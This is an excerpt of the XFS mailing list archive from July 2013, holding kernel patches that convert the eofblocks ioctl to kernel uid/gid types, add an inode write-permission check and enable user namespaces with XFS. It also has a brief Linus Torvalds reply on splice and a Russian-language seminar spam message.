UNPARSEABLE_RELAY Informational: message has unparseable relay lines Have eofblocks ioctl convert uid_t to kuid_t into internal structure. Update internal filter matching to compare ids with kuid_t types. Signed-off-by: Dwight Engen --- fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 6 +++--- fs/xfs/xfs_icache.h | 20 ++++++++++++++++++++ fs/xfs/xfs_ioctl.c | 15 +++++++++++++-- 4 files changed, 37 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index d046955..7eb4a5e 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -344,7 +344,7 @@ typedef struct xfs_error_injection { * Speculative preallocation trimming. */ #define XFS_EOFBLOCKS_VERSION 1 -struct xfs_eofblocks { +struct xfs_fs_eofblocks { __u32 eof_version; __u32 eof_flags; uid_t eof_uid; diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 3f90e1c..d873ab9e 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -619,7 +619,7 @@ restart: /* * Background scanning to trim post-EOF preallocated space. This is queued - * based on the 'background_prealloc_discard_period' tunable (5m by default). + * based on the 'speculative_prealloc_lifetime' tunable (5m by default). */ STATIC void xfs_queue_eofblocks( @@ -1204,11 +1204,11 @@ xfs_inode_match_id( struct xfs_eofblocks *eofb) { if (eofb->eof_flags & XFS_EOF_FLAGS_UID && - ip->i_d.di_uid != eofb->eof_uid) + !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid)) return 0; if (eofb->eof_flags & XFS_EOF_FLAGS_GID && - ip->i_d.di_gid != eofb->eof_gid) + !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid)) return 0; if (eofb->eof_flags & XFS_EOF_FLAGS_PRID && diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index a01afbb..6cce1e3 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -21,6 +21,14 @@ struct xfs_mount; struct xfs_perag; +struct xfs_eofblocks { + __u32 eof_flags; + kuid_t eof_uid; + kgid_t eof_gid; + prid_t eof_prid; + __u64 eof_min_file_size; +}; + #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ @@ -49,4 +57,16 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, int flags, void *args), int flags, void *args, int tag); +static inline void +xfs_fs_eofblocks_to_internal( + struct xfs_fs_eofblocks *src, + struct xfs_eofblocks *dst) +{ + dst->eof_flags = src->eof_flags; + dst->eof_prid = src->eof_prid; + dst->eof_min_file_size = src->eof_min_file_size; + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); +} + #endif diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 8edc780..abbbdcf 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1610,7 +1610,8 @@ xfs_file_ioctl( return -error; case XFS_IOC_FREE_EOFBLOCKS: { - struct xfs_eofblocks eofb; + struct xfs_fs_eofblocks eofb; + struct xfs_eofblocks keofb; if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); @@ -1625,7 +1626,17 @@ xfs_file_ioctl( memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) return -XFS_ERROR(EINVAL); - error = xfs_icache_free_eofblocks(mp, &eofb); + xfs_fs_eofblocks_to_internal(&eofb, &keofb); + + if (keofb.eof_flags & XFS_EOF_FLAGS_UID && + !uid_valid(keofb.eof_uid)) + return XFS_ERROR(EINVAL); + + if (keofb.eof_flags & XFS_EOF_FLAGS_GID && + !gid_valid(keofb.eof_gid)) + return XFS_ERROR(EINVAL); + + error = xfs_icache_free_eofblocks(mp, &keofb); return -error; } -- 1.8.1.4 From dwight.engen@oracle.com Wed Jul 17 10:47:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 25ED829E1D for ; Wed, 17 Jul 2013 10:47:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9237AC01B for ; Wed, 17 Jul 2013 08:47:52 -0700 (PDT) X-ASG-Debug-ID: 1374076071-04cbb0468e10cb790001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id zOEyPpTLlKLBvXgv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:51 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFloqJ025640 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:51 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlnHh014384 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:50 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlmwX014375 for ; Wed, 17 Jul 2013 15:47:48 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:48 -0700 Date: Wed, 17 Jul 2013 11:47:46 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Message-ID: <20130717114746.4e133042@oracle.com> X-ASG-Orig-Subj: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374076071 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_icache.c | 4 ++++ fs/xfs/xfs_ioctl.c | 2 ++ 3 files changed, 7 insertions(+) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index 7eb4a5e..aee4b12 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* filter by min file size */ +#define XFS_EOF_FLAGS_PERM_CHECK (1 << 5) /* check can write inode */ #define XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ XFS_EOF_FLAGS_UID | \ diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index d873ab9e..728283a 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( if (!xfs_inode_match_id(ip, eofb)) return 0; + if (eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK && + inode_permission(VFS_I(ip), MAY_WRITE)) + return 0; + /* skip the inode if the file size is too small */ if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && XFS_ISIZE(ip) < eofb->eof_min_file_size) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index abbbdcf..e63e359 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1636,6 +1636,8 @@ xfs_file_ioctl( !gid_valid(keofb.eof_gid)) return XFS_ERROR(EINVAL); + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; + error = xfs_icache_free_eofblocks(mp, &keofb); return -error; } -- 1.8.1.4 From dwight.engen@oracle.com Wed Jul 17 10:47:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7D2E129E1F for ; Wed, 17 Jul 2013 10:47:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5C2478F807A for ; Wed, 17 Jul 2013 08:47:57 -0700 (PDT) X-ASG-Debug-ID: 1374076075-04bdf0245ed3d50001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id jxYc8BGuoPjRQFyV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:56 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlsBA025717 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:55 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlrvt002478 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:54 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlrdV014680 for ; Wed, 17 Jul 2013 15:47:53 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:53 -0700 Date: Wed, 17 Jul 2013 11:47:51 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 7/7] enable building user namespace with xfs Message-ID: <20130717114751.3b3a2196@oracle.com> X-ASG-Orig-Subj: [PATCH v4 7/7] enable building user namespace with xfs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374076076 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- init/Kconfig | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/init/Kconfig b/init/Kconfig index 247084b..a380f12 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1106,7 +1106,6 @@ config IPC_NS config USER_NS bool "User namespace" - depends on UIDGID_CONVERTED select UIDGID_STRICT_TYPE_CHECKS default n @@ -1140,21 +1139,9 @@ config NET_NS endif # NAMESPACES -config UIDGID_CONVERTED - # True if all of the selected software conmponents are known - # to have uid_t and gid_t converted to kuid_t and kgid_t - # where appropriate and are otherwise safe to use with - # the user namespace. - bool - default y - - # Filesystems - depends on XFS_FS = n - config UIDGID_STRICT_TYPE_CHECKS bool "Require conversions between uid/gids and their internal representation" - depends on UIDGID_CONVERTED - default n + default y help While the nececessary conversions are being added to all subsystems this option allows the code to continue to build for unconverted subsystems. -- 1.8.1.4 From linus971@gmail.com Wed Jul 17 11:03:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 741257F3F for ; Wed, 17 Jul 2013 11:03:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1ED91AC01D for ; Wed, 17 Jul 2013 09:03:15 -0700 (PDT) X-ASG-Debug-ID: 1374076991-04bdf0245cd5210001-NocioJ Received: from mail-ve0-f170.google.com (mail-ve0-f170.google.com [209.85.128.170]) by cuda.sgi.com with ESMTP id QemOAECs3znCD7jZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 17 Jul 2013 09:03:12 -0700 (PDT) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.170 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.170] Received: by mail-ve0-f170.google.com with SMTP id 14so1655190vea.29 for ; Wed, 17 Jul 2013 09:03:11 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.170] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=2r2xXrJ4EEJkVQA1xasP1aKzD7eVUVFtY231bXdK4ms=; b=ENEiNGeIIKLCc233Rk5grQxUYWLhoqUes8qDcHO0gf4xRioSh2TWf6hWnRq/rS7FFz hTKdzP6O41WUZg04uLQZkvT7mvFUei7qUc/RWqXUKHk1A7FUmyR/xar6iebJF563xyE8 8yVXNV0YJJ2e8ZuukMDbnWwoIuInD4+kHHuyd/tGEGTfWaJgVd9f4m4H+n5/RaFl/es7 uK64dEV2utQ0hyziapuKQOA2AFVbRtxdgF5lNJPl2++OYS2Q05rbg0lei6X61psB0KoF 6VZgBVurwFVyqF05/5nap6dPwoeg8i54Qb95uH/8HcENbpKPU0C6gdSdOr6vyedkem6v wWvw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=2r2xXrJ4EEJkVQA1xasP1aKzD7eVUVFtY231bXdK4ms=; b=BnBxK/XeFjZJzWqdb0s6e+bxc8GAtvcE0MjiaONKpO1yWEqSLbL3Ogusyv/WaCHk2S gCI+jjhnOv1Un6zJD9vWh8Ej4/Max1HOfCWxfb8Quqh/2yw4YlQEtqe5FVK0qz9A2rFD GDHzPe4LZjKyv9uFX8n4hRbNl5xw4RDXnKK8A= MIME-Version: 1.0 X-Received: by 10.58.19.162 with SMTP id g2mr2382501vee.12.1374076991546; Wed, 17 Jul 2013 09:03:11 -0700 (PDT) Sender: linus971@gmail.com Received: by 10.220.237.15 with HTTP; Wed, 17 Jul 2013 09:03:11 -0700 (PDT) In-Reply-To: <20130717055103.GK11674@dastard> References: <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> Date: Wed, 17 Jul 2013 09:03:11 -0700 X-Google-Sender-Auth: yjBo46645n3Fe982vp94N1q1G-M Message-ID: Subject: Re: splice vs execve lockdep trace. From: Linus Torvalds X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. To: Dave Chinner Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f170.google.com[209.85.128.170] X-Barracuda-Start-Time: 1374076992 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Jul 16, 2013 at 10:51 PM, Dave Chinner wrote: > > But When i say "stale data" I mean that the data being returned > might not have originally belonged to the underlying file you are > reading. We're still talking at cross purposes then. How the hell do you handle mmap() and page faulting? Because if you return *that* kind of stale data, than you're horribly horribly buggy. And you cannot *possibly* blame generic_file_splice_read() on that. Linus From aristarh.kastalskiy@iss-us.com Wed Jul 17 16:17:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3A6037F3F for ; Wed, 17 Jul 2013 16:17:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8FFEAC00A for ; Wed, 17 Jul 2013 14:17:33 -0700 (PDT) X-ASG-Debug-ID: 1374095844-04cb6c2a46e3fe30001-NocioJ Received: from avgust.flynet.pro (avgust.tomsk.ru [91.221.37.7]) by cuda.sgi.com with ESMTP id ji27zdiDUHjXd51j (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 14:17:26 -0700 (PDT) X-Barracuda-Envelope-From: aristarh.kastalskiy@iss-us.com X-Barracuda-Apparent-Source-IP: 91.221.37.7 Received: from Unknown ([203.171.233.243]) (authenticated bits=0) by avgust.flynet.pro (8.14.5/8.14.5) with ESMTP id r6HLGJbu000163; Thu, 18 Jul 2013 04:16:52 +0700 (NOVT) (envelope-from aristarh.kastalskiy@iss-us.com) Message-ID: <3F699EFC714E474D92DE80CDFCFC987A@tyutaqf> Reply-To: =?windows-1251?B?/eru7e7s6PHy?= From: =?windows-1251?B?/eru7e7s6PHy?= To: , , , Subject: =?windows-1251?B?4OTs6O3o8fLw4PLo4u3g/yDoIPPj7uvu4u3g?= =?windows-1251?B?/yDu8uLl8vHy4uXt7e7x8vwg5+Ag7/Dg4u7t?= =?windows-1251?B?4PDz+OXt6P8g4iDu4evg8fLoIPHy8O7o8uXr?= =?windows-1251?B?/PHy4uAh?= Date: Wed, 17 Jul 2013 23:16:42 +0200 X-ASG-Orig-Subj: =?windows-1251?B?4OTs6O3o8fLw4PLo4u3g/yDoIPPj7uvu4u3g?= =?windows-1251?B?/yDu8uLl8vHy4uXt7e7x8vwg5+Ag7/Dg4u7t?= =?windows-1251?B?4PDz+OXt6P8g4iDu4evg8fLoIPHy8O7o8uXr?= =?windows-1251?B?/PHy4uAh?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1B35_01CE8343.B2BF6BE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: avgust.tomsk.ru[91.221.37.7] X-Barracuda-Start-Time: 1374095846 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137059 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1B35_01CE8343.B2BF6BE0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

    =C2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8= =FE =FF=E2=EB=FF=E5=F2=F1=FF =E7=E0=EA=EB=FE=F7=E8=F2=E5=EB=FC=ED=FB=EC =FD= =F2=E0=EF=EE=EC =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0, =EF=EE=F1=EB=E5 = =EA=EE=F2=EE=F0=EE=E3=EE =EE=E1=FA=E5=EA=F2=EE=EC =F0=E0=E7=F0=E5=F8=E5=ED= =EE =EF=EE=EB=FC=E7=EE=E2=E0=F2=FC=F1=FF =E8 =F1=F2=E0=ED=EE=E2=E8=F2=F1=FF= =E2=EE=E7=EC=EE=E6=ED=EE=E9 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=E0=FF= =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF =EF=F0=E0=E2 =F1=EE=E1=F1=F2=E2=E5=ED=ED= =EE=F1=F2=E8. =CA =F1=EE=E6=E0=EB=E5=ED=E8=FE, =E4=E0=ED=ED=FB=E9 =FD=F2=E0= =EF =EC=EE=E6=E5=F2 =E2=FB=E7=E2=E0=F2=FC =F1=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB= =E5 =E7=E0=E4=E5=F0=E6=EA=E8 =E2 =F1=EB=F3=F7=E0=E5 =E8=E7=FA=FF=ED=EE=E2= =E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0= =F6=E8=E8 =E8 =ED=E5=ED=E0=E4=EB=E5=E6=E0=F9=E5=E3=EE =E2=FB=EF=EE=EB=ED=E5= =ED=E8=FF =EF=F0=EE=E5=EA=F2=E0. =C8=E7=E1=E5=E6=E0=F2=FC =EE=F8=E8=E1=EE= =EA =E2=E0=EC =EF=EE=EC=EE=E6=E5=F2 =ED=EE=E2=FB=E9 =F1=E5=EC=E8=ED=E0=F0=

    =C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE =CE=C1= =DA=C5=CA=D2=C0 =CA=C0=CF. =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2=C2=C0. =D0=C5= =CA=CE=CD=D1=D2=D0=D3=CA=D6=C8=DF =C8 =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1=D2=C2= =CE =CE=C1=DA=C5=CA=D2=CE=C2 =CA=C0=CF. =D1=D2=D0-=C2=C0.

    =CE= =E1=F3=F7=E5=ED=E8=E5 =E1=F3=E4=E5=F2 =EF=F0=EE=F5=EE=E4=E8=F2=FC =E2 =EF= =E5=F0=E8=EE=E4 =F1 26 =EF=EE 27 =C0=C2=C3=D3=D1=D2=C0 2o13 =E3. =E2 =CF=C5= =D2=C5=D0=C1=D3=D0=C3=C5

    =C0=EA=F2=F3=E0=EB=FC=ED=FB= =E5 =E2=EE=EF=F0=EE=F1=FB, =EE=E1=F1=F3=E6=E4=E0=E5=EC=FB=E5 =ED=E0 =EC=E5= =F0=EE=EF=F0=E8=FF=F2=E8=E8:
    - =CF=F0=EE=F6=E5=E4=F3=F0=E0 =E2= =FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1= =F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EF= =F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =E8 =F2=F0=E5= =E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0= =EC=E5=ED=F2=EE=E2.
    - =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2= =ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED=F2: =C2=FB=E4=E0=F7=E0 =F0=E0=E7=F0=E5= =F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8= =F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA= =F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
    - =CE=F1=ED=EE=E2=ED=FB=E5 =EE= =F8=E8=E1=EA=E8, =E2=EB=E8=FF=FE=F9=E8=E5 =ED=E0 =F1=F0=EE=EA=E8 =E2=E2=EE= =E4=E0 =EE=E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2 =FD= =EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
    - =CD=EE=F0=EC=E0=F2=E8=E2= =ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =F0=E5=E3=EB=E0=EC=E5=ED=F2=E8=F0=F3= =FE=F9=E8=E5 =EF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4=E0 =E7=E0=EA=EE=ED=F7=E5=ED= =ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2= =E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
    - =D1=EE=F1=F2= =E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2= =E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0.
    - =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED= =EE=F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED= =E8=E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5.
    =E8 =F2.= =E4.

    =CF=EE=EB=F3=F7=E8=F2=FC =CF=CE=CB=CD=D3=DE =CF=D0= =CE=C3=D0=C0=CC=CC=D3 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF, =E7=E0=E4=E0=F2=FC= =E4=EE=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=FB=E5 =E2=EE=EF=F0=EE=F1=FB, =E0 =F2= =E0=EA=E6=E5 =C7=C0=D0=C5=C3=C8=D1=D2=D0=C8=D0=CE=C2=C0=D2=DC=D1=DF =C2=FB= =EC=EE=E6=E5=F2=E5 =EF=EE =F2=E5=EB. =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0: =
    8 ( =EA=EE=E4 =D1=CF=E1 ) 6 =D72 - 5..6 = 79

